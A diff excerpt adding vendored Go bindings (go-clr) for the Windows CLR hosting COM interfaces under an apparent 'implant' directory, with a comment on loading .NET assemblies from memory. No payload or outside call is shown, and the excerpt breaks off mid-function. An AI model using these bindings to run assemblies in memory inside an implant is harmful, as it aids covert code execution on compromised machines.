+	// IID_IErrorInfo is the interface ID for the Error interface 1CF2B120-547D-101B-8E65-08002B2BD119
+	IID_IErrorInfo = windows.GUID{Data1: 0x1cf2b120, Data2: 0x547d, Data3: 0x101b, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
+	// DF0B3D60-548F-101B-8E65-08002B2BD119 https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
+	IID_ISupportErrorInfo = windows.GUID{Data1: 0xDF0B3D60, Data2: 0x548F, Data3: 0x101B, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
+)

implant/vendor/github.com/Ne0nd0g/go-clr/hresult.go

@@ -0,0 +1,22 @@
+package clr
+
+// https://docs.microsoft.com/en-us/dotnet/framework/interop/how-to-map-hresults-and-exceptions
+// https://docs.microsoft.com/en-us/windows/win32/seccrypto/common-hresult-values
+
+const (
+	S_OK    = 0x00
+	S_FALSE = 0x01
+	// COR_E_TARGETINVOCATION is TargetInvocationException
+	// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.targetinvocationexception?view=net-5.0
+	COR_E_TARGETINVOCATION uint32 = 0x80131604
+	// COR_E_SAFEARRAYRANKMISMATCH is SafeArrayRankMismatchException
+	COR_E_SAFEARRAYRANKMISMATCH uint32 = 0x80131538
+	// COR_E_BADIMAGEFORMAT is BadImageFormatException
+	COR_E_BADIMAGEFORMAT uint32 = 0x8007000b
+	// DISP_E_BADPARAMCOUNT is invalid number of parameters
+	DISP_E_BADPARAMCOUNT uint32 = 0x8002000e
+	// E_POINTER Pointer that is not valid
+	E_POINTER uint32 = 0x80004003
+	// E_NOINTERFACE No such interface supported
+	E_NOINTERFACE uint32 = 0x80004002
+)

implant/vendor/github.com/Ne0nd0g/go-clr/iclrmetahost.go

@@ -0,0 +1,187 @@
+// +build windows
+
+package clr
+
+import (
+	"fmt"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+// Couldnt have done any of this without this SO answer I stumbled on:
+// https://stackoverflow.com/questions/37781676/how-to-use-com-component-object-model-in-golang
+
+//ICLRMetaHost Interface from metahost.h
+type ICLRMetaHost struct {
+	vtbl *ICLRMetaHostVtbl
+}
+
+// ICLRMetaHostVtbl provides methods that return a specific version of the common language runtime (CLR)
+// based on its version number, list all installed CLRs, list all runtimes that are loaded in a specified
+// process, discover the CLR version used to compile an assembly, exit a process with a clean runtime
+// shutdown, and query legacy API binding.
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface
+type ICLRMetaHostVtbl struct {
+	QueryInterface uintptr
+	AddRef         uintptr
+	Release        uintptr
+	// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular CLR version.
+	// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
+	GetRuntime uintptr
+	// GetVersionFromFile gets the assembly's original .NET Framework compilation version (stored in the metadata),
+	// given its file path. This method supersedes GetFileVersion.
+	GetVersionFromFile uintptr
+	// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
+	// pointer for each CLR version that is installed on a computer.
+	EnumerateInstalledRuntimes uintptr
+	// EnumerateLoadedRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
+	// pointer for each CLR that is loaded in a given process. This method supersedes GetVersionFromProcess.
+	EnumerateLoadedRuntimes uintptr
+	// RequestRuntimeLoadedNotification guarantees a callback to the specified function pointer when a
+	// CLR version is first loaded, but not yet started. This method supersedes LockClrVersion
+	RequestRuntimeLoadedNotification uintptr
+	// QueryLegacyV2RuntimeBinding returns an interface that represents a runtime to which legacy activation policy
+	// has been bound, for example by using the useLegacyV2RuntimeActivationPolicy attribute on the <startup> Element
+	// configuration file entry, by direct use of the legacy activation APIs, or by calling the
+	// ICLRRuntimeInfo::BindAsLegacyV2Runtime method.
+	QueryLegacyV2RuntimeBinding uintptr
+	// ExitProcess attempts to shut down all loaded runtimes gracefully and then terminates the process.
+	ExitProcess uintptr
+}
+
+// CLRCreateInstance provides one of three interfaces: ICLRMetaHost, ICLRMetaHostPolicy, or ICLRDebugging.
+// HRESULT CLRCreateInstance(
+//   [in]  REFCLSID  clsid,
+//   [in]  REFIID     riid,
+//   [out] LPVOID  * ppInterface
+// );
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function
+func CLRCreateInstance(clsid, riid windows.GUID) (ppInterface *ICLRMetaHost, err error) {
+	debugPrint("Entering into iclrmetahost.CLRCreateInstance()...")
+
+	if clsid != CLSID_CLRMetaHost {
+		err = fmt.Errorf("the input Class ID (CLSID) is not supported: %s", clsid)
+		return
+	}
+
+	modMSCoree := syscall.MustLoadDLL("mscoree.dll")
+	procCLRCreateInstance := modMSCoree.MustFindProc("CLRCreateInstance")
+
+	// For some reason this procedure call returns "The specified procedure could not be found." even though it works
+	hr, _, err := procCLRCreateInstance.Call(
+		uintptr(unsafe.Pointer(&clsid)),
+		uintptr(unsafe.Pointer(&riid)),
+		uintptr(unsafe.Pointer(&ppInterface)),
+	)
+
+	if err != nil {
+		// TODO Figure out why "The specified procedure could not be found." is returned even though everything works fine?
+		debugPrint(fmt.Sprintf("the mscoree!CLRCreateInstance function returned an error:\r\n%s", err))
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the mscoree!CLRCreateInstance function returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	return
+}
+
+func (obj *ICLRMetaHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
+	debugPrint("Entering into icorruntimehost.QueryInterface()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.QueryInterface,
+		3,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
+		uintptr(ppvObject),
+	)
+	if err != syscall.Errno(0) {
+		return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
+	}
+	if hr != S_OK {
+		return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return nil
+}
+
+func (obj *ICLRMetaHost) AddRef() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.AddRef,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+func (obj *ICLRMetaHost) Release() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.Release,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface for each
+// version of the common language runtime (CLR) that is installed on a computer.
+// HRESULT EnumerateInstalledRuntimes (
+//   [out, retval] IEnumUnknown **ppEnumerator);
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-enumerateinstalledruntimes-method
+func (obj *ICLRMetaHost) EnumerateInstalledRuntimes() (ppEnumerator *IEnumUnknown, err error) {
+	debugPrint("Entering into iclrmetahost.EnumerateInstalledRuntimes()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.EnumerateInstalledRuntimes,
+		2,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&ppEnumerator)),
+		0,
+	)
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("there was an error calling the ICLRMetaHost::EnumerateInstalledRuntimes method:\r\n%s", err)
+		return
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the ICLRMetaHost::EnumerateInstalledRuntimes method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	return
+}
+
+// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular version of the common language runtime (CLR).
+// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
+// HRESULT GetRuntime (
+//   [in] LPCWSTR pwzVersion,
+//   [in] REFIID riid,
+//   [out,iid_is(riid), retval] LPVOID *ppRuntime
+// );
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-getruntime-method
+func (obj *ICLRMetaHost) GetRuntime(pwzVersion *uint16, riid windows.GUID) (ppRuntime *ICLRRuntimeInfo, err error) {
+	debugPrint("Entering into iclrmetahost.GetRuntime()...")
+
+	hr, _, err := syscall.Syscall6(
+		obj.vtbl.GetRuntime,
+		4,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(pwzVersion)),
+		uintptr(unsafe.Pointer(&IID_ICLRRuntimeInfo)),
+		uintptr(unsafe.Pointer(&ppRuntime)),
+		0,
+		0,
+	)
+
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("there was an error calling the ICLRMetaHost::GetRuntime method:\r\n%s", err)
+		return
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the ICLRMetaHost::GetRuntime method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	return
+}

implant/vendor/github.com/Ne0nd0g/go-clr/iclrruntimehost.go

@@ -0,0 +1,158 @@
+// +build windows
+
+package clr
+
+import (
+	"fmt"
+	"syscall"
+	"unsafe"
+)
+
+type ICLRRuntimeHost struct {
+	vtbl *ICLRRuntimeHostVtbl
+}
+
+// ICLRRuntimeHostVtbl provides functionality similar to that of the ICorRuntimeHost interface
+// provided in the .NET Framework version 1, with the following changes
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface
+type ICLRRuntimeHostVtbl struct {
+	QueryInterface uintptr
+	AddRef         uintptr
+	Release        uintptr
+	// Start Initializes the CLR into a process.
+	Start uintptr
+	// Stop Stops the execution of code by the runtime.
+	Stop uintptr
+	// SetHostControl sets the host control interface. You must call SetHostControl before calling Start.
+	SetHostControl uintptr
+	// GetCLRControl gets an interface pointer of type ICLRControl that hosts can use to customize
+	// aspects of the common language runtime (CLR).
+	GetCLRControl uintptr
+	// UnloadAppDomain Unloads the AppDomain that corresponds to the specified numeric identifier.
+	UnloadAppDomain uintptr
+	// ExecuteInAppDomain Specifies the AppDomain in which to execute the specified managed code.
+	ExecuteInAppDomain uintptr
+	// GetCurrentAppDomainID gets the numeric identifier of the AppDomain that is currently executing.
+	GetCurrentAppDomainId uintptr
+	// ExecuteApplication used in manifest-based ClickOnce deployment scenarios to specify the application
+	// to be activated in a new domain.
+	ExecuteApplication uintptr
+	// ExecuteInDefaultAppDomain Invokes the specified method of the specified type in the specified assembly.
+	ExecuteInDefaultAppDomain uintptr
+}
+
+// GetICLRRuntimeHost is a wrapper function that takes an ICLRRuntimeInfo object and
+// returns an ICLRRuntimeHost and loads it into the current process
+func GetICLRRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICLRRuntimeHost, error) {
+	debugPrint("Entering into iclrruntimehost.GetICLRRuntimeHost()...")
+	var runtimeHost *ICLRRuntimeHost
+	err := runtimeInfo.GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, unsafe.Pointer(&runtimeHost))
+	if err != nil {
+		return nil, err
+	}
+
+	err = runtimeHost.Start()
+	return runtimeHost, err
+}
+
+func (obj *ICLRRuntimeHost) AddRef() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.AddRef,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+func (obj *ICLRRuntimeHost) Release() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.Release,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+// Start Initializes the common language runtime (CLR) into a process.
+// HRESULT Start();
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-start-method
+func (obj *ICLRRuntimeHost) Start() error {
+	debugPrint("Entering into iclrruntimehost.Start()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.Start,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0,
+	)
+	if err != syscall.Errno(0) {
+		return fmt.Errorf("the ICLRRuntimeHost::Start method returned an error:\r\n%s", err)
+	}
+	if hr != S_OK {
+		return fmt.Errorf("the ICLRRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return nil
+}
+
+// ExecuteInDefaultAppDomain Calls the specified method of the specified type in the specified managed assembly.
+// HRESULT ExecuteInDefaultAppDomain (
+//   [in] LPCWSTR pwzAssemblyPath,
+//   [in] LPCWSTR pwzTypeName,
+//   [in] LPCWSTR pwzMethodName,
+//   [in] LPCWSTR pwzArgument,
+// [out] DWORD *pReturnValue
+// );
+// An LPCWSTR is a 32-bit pointer to a constant string of 16-bit Unicode characters, which MAY be null-terminated.
+// Use syscall.UTF16PtrFromString to turn a string into a LPCWSTR
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-executeindefaultappdomain-method
+func (obj *ICLRRuntimeHost) ExecuteInDefaultAppDomain(pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument *uint16) (pReturnValue *uint32, err error) {
+	hr, _, err := syscall.Syscall9(
+		obj.vtbl.ExecuteInDefaultAppDomain,
+		6,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(pwzAssemblyPath)),
+		uintptr(unsafe.Pointer(pwzTypeName)),
+		uintptr(unsafe.Pointer(pwzMethodName)),
+		uintptr(unsafe.Pointer(pwzArgument)),
+		uintptr(unsafe.Pointer(pReturnValue)),
+		0,
+		0,
+		0)
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned an error:\r\n%s", err)
+		return
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	return
+}
+
+// GetCurrentAppDomainID Gets the numeric identifier of the AppDomain that is currently executing.
+// HRESULT GetCurrentAppDomainId(
+//   [out] DWORD* pdwAppDomainId
+// );
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-getcurrentappdomainid-method
+func (obj *ICLRRuntimeHost) GetCurrentAppDomainID() (pdwAppDomainId uint32, err error) {
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.GetCurrentAppDomainId,
+		2,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&pdwAppDomainId)),
+		0,
+	)
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned an error:\r\n%s", err)
+		return
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	return
+}

implant/vendor/github.com/Ne0nd0g/go-clr/iclrruntimeinfo.go

@@ -0,0 +1,211 @@
+// +build windows
+
+package clr
+
+import (
+	"fmt"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+type ICLRRuntimeInfo struct {
+	vtbl *ICLRRuntimeInfoVtbl
+}
+
+// ICLRRuntimeInfoVtbl Provides methods that return information about a specific common language runtime (CLR),
+// including version, directory, and load status. This interface also provides runtime-specific functionality
+// without initializing the runtime. It includes the runtime-relative LoadLibrary method, the runtime
+// module-specific GetProcAddress method, and runtime-provided interfaces through the GetInterface method.
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface
+type ICLRRuntimeInfoVtbl struct {
+	QueryInterface uintptr
+	AddRef         uintptr
+	Release        uintptr
+	// GetVersionString Gets common language runtime (CLR) version information associated with a given
+	// ICLRRuntimeInfo interface. This method supersedes the GetRequestedRuntimeInfo and GetRequestedRuntimeVersion methods.
+	GetVersionString uintptr
+	// GetRuntimeDirectory Gets the installation directory of the CLR associated with this interface.
+	// This method supersedes the GetCORSystemDirectory method.
+	GetRuntimeDirectory uintptr
+	// IsLoaded Indicates whether the CLR associated with the ICLRRuntimeInfo interface is loaded into a process.
+	IsLoaded uintptr
+	// LoadErrorString Translates an HRESULT value into an appropriate error message for the specified culture.
+	// This method supersedes the LoadStringRC and LoadStringRCEx methods.
+	LoadErrorString uintptr
+	// LoadLibrary Loads a library from the framework directory of the CLR represented by an ICLRRuntimeInfo interface.
+	// This method supersedes the LoadLibraryShim method.
+	LoadLibrary uintptr
+	// GetProcAddress Gets the address of a specified function that was exported from the CLR associated with
+	// this interface. This method supersedes the GetRealProcAddress method.
+	GetProcAddress uintptr
+	// GetInterface Loads the CLR into the current process and returns runtime interface pointers,
+	// such as ICLRRuntimeHost, ICLRStrongName and IMetaDataDispenser. This method supersedes all the CorBindTo* functions.
+	GetInterface uintptr
+	// IsLoadable Indicates whether the runtime associated with this interface can be loaded into the current
+	// process, taking into account other runtimes that might already be loaded into the process.
+	IsLoadable uintptr
+	// SetDefaultStartupFlags Sets the CLR startup flags and host configuration file.
+	SetDefaultStartupFlags uintptr
+	// GetDefaultStartupFlags Gets the CLR startup flags and host configuration file.
+	GetDefaultStartupFlags uintptr
+	// BindAsLegacyV2Runtime Binds this runtime for all legacy CLR version 2 activation policy decisions.
+	BindAsLegacyV2Runtime uintptr
+	// IsStarted Indicates whether the CLR that is associated with the ICLRRuntimeInfo interface has been started.
+	IsStarted uintptr
+}
+
+// GetRuntimeInfo is a wrapper function to return an ICLRRuntimeInfo from a standard version string
+func GetRuntimeInfo(metahost *ICLRMetaHost, version string) (*ICLRRuntimeInfo, error) {
+	pwzVersion, err := syscall.UTF16PtrFromString(version)
+	if err != nil {
+		return nil, err
+	}
+	return metahost.GetRuntime(pwzVersion, IID_ICLRRuntimeInfo)
+}
+
+func (obj *ICLRRuntimeInfo) AddRef() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.AddRef,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+func (obj *ICLRRuntimeInfo) Release() uintptr {
+	debugPrint("Entering into iclrruntimeinfo.Release()...")
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.Release,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+// GetVersionString gets common language runtime (CLR) version information associated with a given ICLRRuntimeInfo interface.
+// HRESULT GetVersionString(
+//   [out, size_is(*pcchBuffer)] LPWSTR pwzBuffer,
+//   [in, out]  DWORD *pcchBuffer);
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getversionstring-method
+func (obj *ICLRRuntimeInfo) GetVersionString() (version string, err error) {
+	debugPrint("Entering into iclrruntimeinfo.GetVersion()...")
+	// [in, out] Specifies the size of pwzBuffer to avoid buffer overruns. If pwzBuffer is null, pchBuffer returns the required size of pwzBuffer to allow preallocation.
+	var pchBuffer uint32
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.GetVersionString,
+		3,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		uintptr(unsafe.Pointer(&pchBuffer)),
+	)
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method during preallocation:\r\n%s", err)
+		return
+	}
+	// 0x8007007a = The data area passed to a system call is too small, expected when passing a nil buffer for preallocation
+	if hr != S_OK && hr != 0x8007007a {
+		err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method (preallocation) returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+
+	pwzBuffer := make([]uint16, 20)
+
+	hr, _, err = syscall.Syscall(
+		obj.vtbl.GetVersionString,
+		3,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&pwzBuffer[0])),
+		uintptr(unsafe.Pointer(&pchBuffer)),
+	)
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method:\r\n%s", err)
+		return
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	version = syscall.UTF16ToString(pwzBuffer)
+	return
+}
+
+// GetInterface loads the CLR into the current process and returns runtime interface pointers,
+// such as ICLRRuntimeHost, ICLRStrongName, and IMetaDataDispenserEx.
+// HRESULT GetInterface(
+//   [in]  REFCLSID rclsid,
+//   [in]  REFIID   riid,
+//   [out, iid_is(riid), retval] LPVOID *ppUnk); unsafe pointer of a pointer to an object pointer
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getinterface-method
+func (obj *ICLRRuntimeInfo) GetInterface(rclsid windows.GUID, riid windows.GUID, ppUnk unsafe.Pointer) error {
+	debugPrint("Entering into iclrruntimeinfo.GetInterface()...")
+	hr, _, err := syscall.Syscall6(
+		obj.vtbl.GetInterface,
+		4,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&rclsid)),
+		uintptr(unsafe.Pointer(&riid)),
+		uintptr(ppUnk),
+		0,
+		0,
+	)
+	// The syscall returns "The requested lookup key was not found in any active activation context." in the error position
+	// TODO Why is this error message returned?
+	if err != syscall.Errno(0) && err.Error() != "The requested lookup key was not found in any active activation context." {
+		return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned an error:\r\n%s", err)
+	}
+	if hr != S_OK {
+		return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return nil
+}
+
+// BindAsLegacyV2Runtime binds the current runtime for all legacy common language runtime (CLR) version 2 activation policy decisions.
+// HRESULT BindAsLegacyV2Runtime ();
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-bindaslegacyv2runtime-method
+func (obj *ICLRRuntimeInfo) BindAsLegacyV2Runtime() error {
+	debugPrint("Entering into iclrruntimeinfo.BindAsLegacyV2Runtime()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.BindAsLegacyV2Runtime,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0,
+	)
+	if err != syscall.Errno(0) {
+		return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned an error:\r\n%s", err)
+	}
+	if hr != S_OK {
+		return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return nil
+}
+
+// IsLoadable indicates whether the runtime associated with this interface can be loaded into the current process,
+// taking into account other runtimes that might already be loaded into the process.
+// HRESULT IsLoadable(
+//   [out, retval] BOOL *pbLoadable);
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-isloadable-method
+func (obj *ICLRRuntimeInfo) IsLoadable() (pbLoadable bool, err error) {
+	debugPrint("Entering into iclrruntimeinfo.IsLoadable()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.IsLoadable,
+		2,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&pbLoadable)),
+		0)
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned an error:\r\n%s", err)
+		return
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method  returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	return
+}

implant/vendor/github.com/Ne0nd0g/go-clr/icorruntimehost.go

@@ -0,0 +1,231 @@
+// +build windows
+
+package clr
+
+import (
+	"fmt"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+type ICORRuntimeHost struct {
+	vtbl *ICORRuntimeHostVtbl
+}
+
+// ICORRuntimeHostVtbl Provides methods that enable the host to start and stop the common language runtime (CLR)
+// explicitly, to create and configure application domains, to access the default domain, and to enumerate all
+// domains running in the process.
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface
+type ICORRuntimeHostVtbl struct {
+	QueryInterface uintptr
+	AddRef         uintptr
+	Release        uintptr
+	// CreateLogicalThreadState Do not use.
+	CreateLogicalThreadState uintptr
+	// DeleteLogicalThreadSate Do not use.
+	DeleteLogicalThreadState uintptr
+	// SwitchInLogicalThreadState Do not use.
+	SwitchInLogicalThreadState uintptr
+	// SwitchOutLogicalThreadState Do not use.
+	SwitchOutLogicalThreadState uintptr
+	// LocksHeldByLogicalThreadState Do not use.
+	LocksHeldByLogicalThreadState uintptr
+	// MapFile Maps the specified file into memory. This method is obsolete.
+	MapFile uintptr
+	// GetConfiguration Gets an object that allows the host to specify the callback configuration of the CLR.
+	GetConfiguration uintptr
+	// Start Starts the CLR.
+	Start uintptr
+	// Stop Stops the execution of code in the runtime for the current process.
+	Stop uintptr
+	// CreateDomain Creates an application domain. The caller receives an interface pointer of
+	// type _AppDomain to an instance of type System.AppDomain.
+	CreateDomain uintptr
+	// GetDefaultDomain Gets an interface pointer of type _AppDomain that represents the default domain for the current process.
+	GetDefaultDomain uintptr
+	// EnumDomains Gets an enumerator for the domains in the current process.
+	EnumDomains uintptr
+	// NextDomain Gets an interface pointer to the next domain in the enumeration.
+	NextDomain uintptr
+	// CloseEnum Resets a domain enumerator back to the beginning of the domain list.
+	CloseEnum uintptr
+	// CreateDomainEx Creates an application domain. This method allows the caller to pass an
+	// IAppDomainSetup instance to configure additional features of the returned _AppDomain instance.
+	CreateDomainEx uintptr
+	// CreateDomainSetup Gets an interface pointer of type IAppDomainSetup to an AppDomainSetup instance.
+	// IAppDomainSetup provides methods to configure aspects of an application domain before it is created.
+	CreateDomainSetup uintptr
+	// CreateEvidence Gets an interface pointer of type IIdentity, which allows the host to create security
+	// evidence to pass to CreateDomain or CreateDomainEx.
+	CreateEvidence uintptr
+	// UnloadDomain Unloads the specified application domain from the current process.
+	UnloadDomain uintptr
+	// CurrentDomain Gets an interface pointer of type _AppDomain that represents the domain loaded on the current thread.
+	CurrentDomain uintptr
+}
+
+// GetICORRuntimeHost is a wrapper function that takes in an ICLRRuntimeInfo and returns an ICORRuntimeHost object
+// and loads it into the current process. This is the "deprecated" API, but the only way currently to load an assembly
+// from memory (afaict)
+func GetICORRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICORRuntimeHost, error) {
+	debugPrint("Entering into icorruntimehost.GetICORRuntimeHost()...")
+	var runtimeHost *ICORRuntimeHost
+	err := runtimeInfo.GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, unsafe.Pointer(&runtimeHost))
+	if err != nil {
+		return nil, err
+	}
+
+	err = runtimeHost.Start()
+	return runtimeHost, err
+}
+
+func (obj *ICORRuntimeHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
+	debugPrint("Entering into icorruntimehost.QueryInterface()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.QueryInterface,
+		3,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
+		uintptr(ppvObject),
+	)
+	if err != syscall.Errno(0) {
+		fmt.Println("1111111111111")
+		return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
+	}
+	if hr != S_OK {
+		fmt.Println("222222222222222222")
+		return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return nil
+}
+
+func (obj *ICORRuntimeHost) AddRef() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.AddRef,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+func (obj *ICORRuntimeHost) Release() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.Release,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+// Start starts the common language runtime (CLR).
+// HRESULT Start ();
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-start-method
+func (obj *ICORRuntimeHost) Start() error {
+	debugPrint("Entering into icorruntimehost.Start()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.Start,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0,
+	)
+	if err != syscall.Errno(0) {
+		// The system could not find the environment option that was entered.
+		// TODO Why is this error message returned?
+		debugPrint(fmt.Sprintf("the ICORRuntimeHost::Start method returned an error:\r\n%s", err))
+	}
+	if hr != S_OK {
+		return fmt.Errorf("the ICORRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return nil
+}
+
+// GetDefaultDomain gets an interface pointer of type System._AppDomain that represents the default domain for the current process.
+// HRESULT GetDefaultDomain (
+//   [out] IUnknown** pAppDomain
+// );
+// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-getdefaultdomain-method
+func (obj *ICORRuntimeHost) GetDefaultDomain() (IUnknown *IUnknown, err error) {
+	debugPrint("Entering into icorruntimehost.GetDefaultDomain()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.GetDefaultDomain,
+		2,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&IUnknown)),
+		0,
+	)
+	if err != syscall.Errno(0) {
+		// The specified procedure could not be found.
+		// TODO Why is this error message returned?
+		debugPrint(fmt.Sprintf("the ICORRuntimeHost::GetDefaultDomain method returned an error:\r\n%s", err))
+	}
+	if hr != S_OK {
